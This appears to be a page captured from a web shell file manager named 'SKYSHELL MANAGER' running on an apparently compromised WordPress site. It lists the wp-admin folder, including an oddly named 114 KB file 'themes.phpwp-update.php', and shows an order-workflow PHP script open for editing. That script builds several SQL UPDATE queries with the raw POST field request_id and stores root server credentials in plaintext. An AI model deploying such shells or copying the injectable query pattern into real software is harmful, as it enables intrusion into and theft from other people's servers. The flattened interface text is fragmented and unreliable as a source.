📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: status_update.php
<?php require_once 'config/auth.php'; require_once 'config/db.php'; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) { $request_id = $_POST['request_id']; $actor_id = $_SESSION['user']['id']; $actor_role = $_SESSION['user']['role']; $action = $_POST['action']; // Get Current State $stmt = $conn->prepare("SELECT * FROM server_requirements WHERE request_id = ?"); $stmt->bind_param("s", $request_id); $stmt->execute(); $order = $stmt->get_result()->fetch_assoc(); if (!$order) { die("Order not found."); } $fromStatus = $order['status']; $toStatus = $fromStatus; $notes = ""; // WORKFLOW TRANSITION LOGIC switch ($action) { // Stage 2A: Management Approval case 'approve_management': if ($actor_role === 'Management' || $actor_role === 'Admin') { $toStatus = 'Under Review - Manager'; $notes = 'Approved by Management. Moved to Manager Review.'; } break; case 'decline_management': if ($actor_role === 'Management' || $actor_role === 'Admin') { $toStatus = 'Order Rejected'; $notes = "Management Rejection Reason: " . ($_POST['rejection_reason'] ?? 'None provided'); mysqli_query($conn, "UPDATE server_requirements SET rejection_reason = '" . mysqli_real_escape_string($conn, $notes) . "' WHERE request_id = '$request_id'"); } break; // Stage 2B: Manager Approval case 'approve_manager': if ($actor_role === 'Manager' || $actor_role === 'Admin') { $toStatus = 'Order is Processing'; $notes = 'Approved by Manager. Assigned to Sales Team for procurement.'; } break; case 'decline_manager': if ($actor_role === 'Manager' || $actor_role === 'Admin') { $toStatus = 'Order Rejected'; $notes = "Manager Rejection Reason: " . ($_POST['rejection_reason'] ?? 'None provided'); mysqli_query($conn, "UPDATE server_requirements SET rejection_reason = '" . mysqli_real_escape_string($conn, $notes) . "' WHERE request_id = '$request_id'"); } break; // Stage 3: Sales Team Procurement -> Server Team case 'submit_sales_procurement': if ($actor_role === 'Sales' || $actor_role === 'Admin') { $po_number = $_POST['po_number'] ?? ''; $vendor_specs = $_POST['vendor_specs'] ?? ''; $config_instructions = $_POST['config_instructions'] ?? ''; $toStatus = 'Server under Configuration'; $notes = "PO: $po_number attached. Handed off to Server Team."; $updateSales = $conn->prepare("UPDATE server_requirements SET po_number = ?, vendor_specs = ?, config_instructions = ? WHERE request_id = ?"); $updateSales->bind_param("ssss", $po_number, $vendor_specs, $config_instructions, $request_id); $updateSales->execute(); } break; // Stage 4: Server Team Technical Setup Complete case 'complete_server_config': if ($actor_role === 'Server_Team' || $actor_role === 'Admin') { $ip_address = $_POST['ip_address'] ?? ''; $hostname = $_POST['hostname'] ?? ''; $credentials = $_POST['root_credentials'] ?? ''; $toStatus = 'Validation (Sales)'; $notes = "Technical setup complete ($ip_address). Submitted for Sales validation."; $updateSrv = $conn->prepare("UPDATE server_requirements SET ip_address = ?, hostname = ?, root_credentials = ? WHERE request_id = ?"); $updateSrv->bind_param("ssss", $ip_address, $hostname, $credentials, $request_id); $updateSrv->execute(); } break; // Stage 5: Validation (Sales Team) case 'validation_pass': if ($actor_role === 'Sales' || $actor_role === 'Admin') { $toStatus = 'Delivered'; $notes = "QA Passed by Sales Team. Order Delivered to user."; } break; case 'validation_fail': if ($actor_role === 'Sales' || $actor_role === 'Admin') { $toStatus = 'Server under Configuration'; // Routing directly back to Server Team $fail_notes = $_POST['validation_notes'] ?? 'QA Validation Failed.'; $notes = "QA Failed: " . $fail_notes; mysqli_query($conn, "UPDATE server_requirements SET validation_notes = '" . mysqli_real_escape_string($conn, $fail_notes) . "' WHERE request_id = '$request_id'"); } break; } // Execute Transition if ($toStatus !== $fromStatus) { $updateStmt = $conn->prepare("UPDATE server_requirements SET status = ? WHERE request_id = ?"); $updateStmt->bind_param("ss", $toStatus, $request_id); $updateStmt->execute(); // Log Transition to Audit Log $logStmt = $conn->prepare("INSERT INTO request_audit_logs (request_id, user_id, actor_role, from_status, to_status, action_notes) VALUES (?, ?, ?, ?, ?, ?)"); $logStmt->bind_param("sissss", $request_id, $actor_id, $actor_role, $fromStatus, $toStatus, $notes); $logStmt->execute(); $_SESSION['success'] = "Order $request_id status updated to $toStatus."; } header("Location: new-server-status.php"); exit(); }
Save